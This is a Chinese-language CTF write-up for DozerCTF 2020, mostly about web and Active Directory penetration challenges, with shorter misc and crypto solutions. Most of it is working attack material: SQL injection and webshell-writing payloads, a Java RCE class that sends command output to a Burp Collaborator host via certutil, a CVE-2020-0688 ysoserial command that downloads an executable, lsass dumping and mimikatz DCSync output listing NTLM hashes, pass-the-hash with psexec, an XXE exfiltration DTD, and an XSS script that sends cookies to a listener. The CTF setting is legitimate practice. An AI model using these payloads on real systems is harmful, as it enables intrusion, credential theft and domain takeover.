[DozerCTF 2020]Write up

/ 2评 / 0

题目质量很高。尤其是WEB题目。太顶了
师傅们都太强了。。。完全打不过。。
羡慕有队友的师傅


WEB

sqli-labs 0

urlencode二次绕过,堆叠注入,handler查询
id=';show tables;#
拿到flag表

';handler uziuzi open as yunensec;handler yunensec read first;#


白给的反序列化

<?php
class home
{
    private $method='mysys';
    private $args=array('flag.php');
}
$a=new home();
echo urlencode(serialize($a));

简单域渗透-flag1

打开后是java的Liferay Portal,有CVE-2020-7961 网上都是linux的,本题是windows。所以尝试自己复现
根据github的poc与复现帖
用marshalsec-0.0.3-SNAPSHOT-all.jar.jar生成payload

lifexp.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class LifExp {
static {
try {
            String[] cmd = {"cmd.exe", "/c", "whoami"};
            Process process=java.lang.Runtime.getRuntime().exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String s= stdInput.readLine();
            String[] cmd2 = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f http://XXXXXXXX.burpcollaborator.net/"+s+""};
            java.lang.Runtime.getRuntime().exec(cmd2);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
}
}

需要注意的是java中调用了readline方法,而这种方法只能读取一行且在遇到空格的情况下会exit,所以把回显的exp进行url编码或16进制且调用while方法

然后windows命令就可以正常使用了,flag在桌面。type读取
调用 /api/jsonws/invoke方法。vps起http服务


简单域渗透-flag2

发现web目录是在桌面下C:\Users\root\Desktop\liferay-ce-portal-7.1.2-ga3\tomcat-9.0.10\webapps\ROOT
通过第一题的提示
windows下下载文件用certutil命令下载到网页根目录
所以写jspshell进去。冰蝎连接

用frp反弹shell到本地,进行域渗透
根据提示

3.转储内存
4.宇宙最强の奇异果
5.找到域用户,找到dc,使用微软签名的dsquery.exe导出所有域信息.
6.flag是ldap信息中某个用户的company字段.dsquery需要指定dc,域用户名,域密码.

使用微软官方procdump.exe dump内存

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

//注:提权后由于shark用户权限提升,下了权限导致dump内存权限不够。此方法已经无法复现
在本地机器上通过mimikatz执行如下命令(注意mimikatz.exe与lsass.dmp同目录):

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full


拿到部分域用户和密码
使用dsquery.exe dump出全部域信息(手册真难查

dsquery * -d dozer.org  -u shark -p P@ssw0rd -limit 0 -attr * > 2.txt

搜索字符串拿到flag
 


简单域渗透-flag3

根据提示

1.拿下邮件服务器是域渗透中关键的一步,或许你应该去翻一番邮件
2.regeorg/tunnal/neo regeorg
3.通过域信息定位exchange

根据第二题定位到邮件系统在10.10.10.4机器上
使用regeorg端口转发到本地,远程是java

https://github.com/sensepost/reGeorg/blob/master/tunnel.jsp

本地执行

reGeorg-master# python reGeorgSocksProxy.py -p 8080 -u http://web1616.dozerjit.club:8086/tunnel1.jsp

配置socks4代理
访问邮件系统
根据拿到的

//注:密码应该是P@ssw0rd。之前dump的内存有误
登陆邮件系统。即flag


简单域渗透-flag4

cve-2020-0688 手工构造
查一下就有很多复现帖子了
想要利用该漏洞,我们需要四个参数,分别为:

–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
–validationalg = SHA1(默认,漏洞产生原因)
–generator=B97B4E27(基本默认)
–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)

获取viewstateuserkey和generator值
在正常登录后访问 /ecp/default.aspx 页面。使用F12开发者工具的Network选项,刷新页面重新发送请求,找到登录时/ecp/default.aspx的原始响应。
在Headers选项卡找到ASP.NET_SessionId的cookie:

源码搜索__VIEWSTATEGENERATOR获取字段值:

使用ysoserial.exe生成payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c certutil.exe -urlcache -split -f http://ip/test.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="9789a393-8334-43ff-a455-c7446a9f2801" --isdebug -islegacy

内网10.10.10.4的机器没有杀毒软件,所以直接生成msf

frp端口转发,在root的桌面上拿到flag


简单域渗透-flag5

根据提示

1.exchange wtitedacl 赋予账户dsync权限
2.管理员hash解不开?试试pth攻击.

所以 先给shark用户dsync权限。
用10.10.10.4的exchange环境对shark用户进行提权
powershell命令:

import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb

远程没有Microsoft.ActiveDirectory.Management.dll。所以需要传一个上去
https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

提权成功。
使用渗透4的

python reGeorgSocksProxy.py -p 8080 -u http://web1616.dozerjit.club:8086/tunnel1.jsp

把流量转发到本地windows 用proxifier设置代理远程桌面连接
遇到

请参考:https://blog.csdn.net/nan_cheung/article/details/80290476
链接成功

登录shark用户查看是否给与权限

 runas /user:dozer\shark cmd



发现该用户已经拿到了Exchange Trusted Subsystem权限
执行net user /domain

域控是administrator
上传mimikatz抓admin hash

c:\Users\shark\Desktop>mimikatz.exe privilege::debug "lsadump::dcsync /domain:dozer.org /user:Administrator" exit
  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY <code class="prettyprint" >gentilkiwi ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz(commandline) # lsadump::dcsync /domain:dozer.org /user:Administrator
[DC] 'dozer.org' will be the domain
[DC] 'Dozer-DC.dozer.org' will be the DC server
[DC] 'Administrator' will be the user account
Object RDN           : Administrator
** SAM ACCOUNT **
SAM Username         : Administrator
User Principal Name  : Administrator@dozer.org
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 1601/1/1 8:00:00
Password last change : 2020/5/17 12:27:45
Object Security ID   : S-1-5-21-341825-3789073605-4250195040-500
Object Relative ID   : 500
Credentials:
  Hash NTLM: 4aefab3403a99c6037fbe7f382a881f6
    ntlm- 0: 4aefab3403a99c6037fbe7f382a881f6
    ntlm- 1: 6c64e33ada364f4c4918b5ea4d89051d
    ntlm- 2: 6a0e154772ccca21be1a9c4658a47b15
    ntlm- 3: 6a0e154772ccca21be1a9c4658a47b15
    ntlm- 4: 283b022e27f25cd57ad5ebe1f468c04b
    lm  - 0: 3e47ae25943ec1845a0389d9ddbda973
    lm  - 1: f88ed8de3030a537140408d8cb32ab2c
    lm  - 2: ed917de0e852d2aa850d609f15793cbe
    lm  - 3: 6855bee0ad66019a4f09d500f9d244cf
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : DOZER.ORGAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 0c4a0399eb393f85ae8586c75fb1d72ecbdd4c179e5e577
d07b7c2954b7351d0
      aes128_hmac       (4096) : d56573d1c2c7b02dd22a54e549af2167
      des_cbc_md5       (4096) : 32ef45ad89920162
    OldCredentials
      aes256_hmac       (4096) : aae1ac9f00995ea57cbae07c72fa7a9ed598fc13847205d
1d43f037a3f535257
      aes128_hmac       (4096) : abaadf9c0ce53c92c751c764d01628ed
      des_cbc_md5       (4096) : 80d337e591c7f15d
    OlderCredentials
      aes256_hmac       (4096) : 8e09ac62a60fdb85a33f5788757d2a68b98d09f98077e32
1475d1d6ef9c155a9
      aes128_hmac       (4096) : 06b4e0ee326f240abeb14d280a865438
      des_cbc_md5       (4096) : a73d85499d985b43
* Primary:Kerberos *
    Default Salt : DOZER.ORGAdministrator
    Credentials
      des_cbc_md5       : 32ef45ad89920162
    OldCredentials
      des_cbc_md5       : 80d337e591c7f15d
* Packages *
    Kerberos-Newer-Keys
* Primary:WDigest *
    01  5983db73d3fb86e51a1a3e806564b622
    02  b8eec76fa1356041dabda9bc30e2f10f
    03  267d1d2e55088b01ed5261bcbad2ee92
    04  5983db73d3fb86e51a1a3e806564b622
    05  afc1de6bb7a770d66d45e07aa9e557a2
    06  0baf8b5a92f53d1bf78ca98ca94d0377
    07  c70b31c0deb9803b0bf85e1dfd4fa34e
    08  13a5e23966f552414d623bffdb39fc59
    09  a736828434c8aa83afd512901b8c87ee
    10  a032b97cb2391063f60160e544c12200
    11  f8c94e8c4d0632bafca8d475fb70ae03
    12  13a5e23966f552414d623bffdb39fc59
    13  44fff6bffb825ca5b5838cf843cfce18
    14  a72c89573ef543ea39ab2bff04b1117c
    15  b4059fab2712e6b0020d19162ddac6aa
    16  f5e327074c4d117b53e6771febd4ada7
    17  4bf36762313a6c0560296eee00c8f70f
    18  00849d43c5a8d3d67faf9f6e6a76092f
    19  85b93b911dbb827e07acd18d06f88f2f
    20  92c842e509e7fbbacdbb4dad14fa5239
    21  4ce846856fdc0373a97c0085e2234cec
    22  f8a23ea3c1e0a29cba6dfad632f0e55d
    23  7f3fdbbc0f87ab4e2e08c7801f78d892
    24  473d1f07916f2c28ad45a27b8e7a95d4
    25  2821de1d38fc5dfd4e8fb26a5a5f2c6a
    26  662eeed22d1ce6e44918c9aef0d04fcd
    27  82e6603071d0d3399bdabe5a8834a67f
    28  2921b574ae744860095fc4ce8608fe4a
    29  27b3910c3c7e73e56d0ecdb53a38124e
mimikatz(commandline) # exit
Bye!
c:\Users\shark\Desktop>

根据de1ctf2020的域渗透2
使用psexec.py -hashes :4aefab3403a99c6037fbe7f382a881f6 dozer/Administrator@10.10.10.3
成功提权到域控

拿到flag

下了shark的Exchange Trusted Subsystem权限。

Remove-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members shark -confirm:$false

删除文件。溜了溜了


svgggggg!

这题和[BSidesCF 2019]SVGMagic类似,那题直接有回显,这题需要监听。
根据提示读历史命令。
svg

<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
<svg height="100" width="1000">
  <text x="10" y="20">&</text>
</svg>

Test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/ha1c9on.php?1=system('ls');">
<!ENTITY % int "<!ENTITY % send SYSTEM 'file://home/r1ck/.bash_history'>">

读到8080端口下有web服务,是个注入。题目提示写shell。直接用union命令写shell
普通写不进去,所以用了一下十六进制

1’union select 1,0x3c3f706870206576616c28245f4745545b315d293b3f3e into outfile '/app/ha1c9on.php'#

记得你发送的是get请求。所以空格换成%20

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/ha1c9on.php?1=system('ls');">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:port/?p=%file;'>">

读flag就行


fake phpminiadmin

xss题。可以16进制编码弹xss,但是是post方式的
首先尝试本地打出xss拿到cookie

<html>
    <body>
        <form name="form" id="ha1c9on" method="POST" action="http://127.0.0.1/sql.php">
            <input type="text" name="sql" hidden="true" value="select 0x payloadhex;">
        </form>
        <script>
            document.getElementById('ha1c9on').submit();
        </script>
    </body>
</html>

构建xss代码

<script>(function(){(new Image()).src='http://ip:port/index.php?do=api&id=TcsA&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
</script>

收到cookie和后台页面

直接连接发现需要构造本地访问,且xff头之类都不好使。查到一篇帖子
进行构建

<script>
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://ip:port"; //这里是我们服务器接受的地址
        cc = "htmlcode=" + code +"&filename=index.html";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
        xmlHttp.setRequestHeader("Cookie", "PHPSESSID=tjuhvnkki74v7qf4lfp41li347");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Cookie", "PHPSESSID=tjuhvnkki74v7qf4lfp41li347");
xmlHttp.send(null);</script>

Nc监听,拿到flag

 


MISC

upload

流量包分离出一个真加密的压缩包
使用crc32爆破。拼接一下可读的英文单词


py吗?

图片可以用stegsolve直接打开,在rgb为0的时候出现数据

发现是base64.根据题目名称py。猜想python反编译
所以解码后另存为pyc,https://tool.lu/pyc/
解码获得flag


夏日计划

用winrar解压。有ntfs隐写

secret.rar修复后解压出坐标文件
将坐标转换为汉信码
找出题人即可获得flag


easy_analysis

内存分析
使用filescan拿到一个压缩包
volatility -f memory --profile=Win7SP1x64 filescan| grep "flag"

有注册表拿到sam。md5解密下拿到密码
AaBbCc123
解压发现是usb流量。根据一篇帖子
http://www.ga1axy.top/index.php/archives/10/。尝试做一下
tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
分离出数据

根据文章给的脚本跑一下
解出来字符用文章中给的breakautokey.py爆破一下
得到压缩包密码THISKEYBOARDSUCKSFORYOU
小写打开压缩包

base64隐写了


CRYPTO

真·签到

BASE64-base32-hex16-base58


eazy_bag

import binascii
from sage.all import *
# open the public key and strip the spaces so we have a decent array
fileKey = open("pub.Key", 'r')
pubKey = fileKey.read().replace(' ', '').replace('L', '').strip('[]').split(',')
nbit = len(pubKey)
# open the encoded message
fileEnc = open("enc.txt", 'r')
encoded = fileEnc.read().replace('L', '')
print("start")
# create a large matrix of 0's (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
    A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
    A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)
res = A.LLL()
for i in range(0, nbit + 1):
    # print solution
    M = res.row(i).list()
    flag = True
    for m in M:
        if m != 0 and m != 1:
            flag = False
            break
    if flag:
        print(i, M)
        M = ''.join(str(j) for j in M)
        # remove the last bit
        M = M[:-1]
        M = hex(int(M, 2))[2:-1]
        print(M)

 

  1. 域霸挂件说道:

    域霸dddd!!!!!

  2. […] [DozerCTF 2020]Write up […]

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注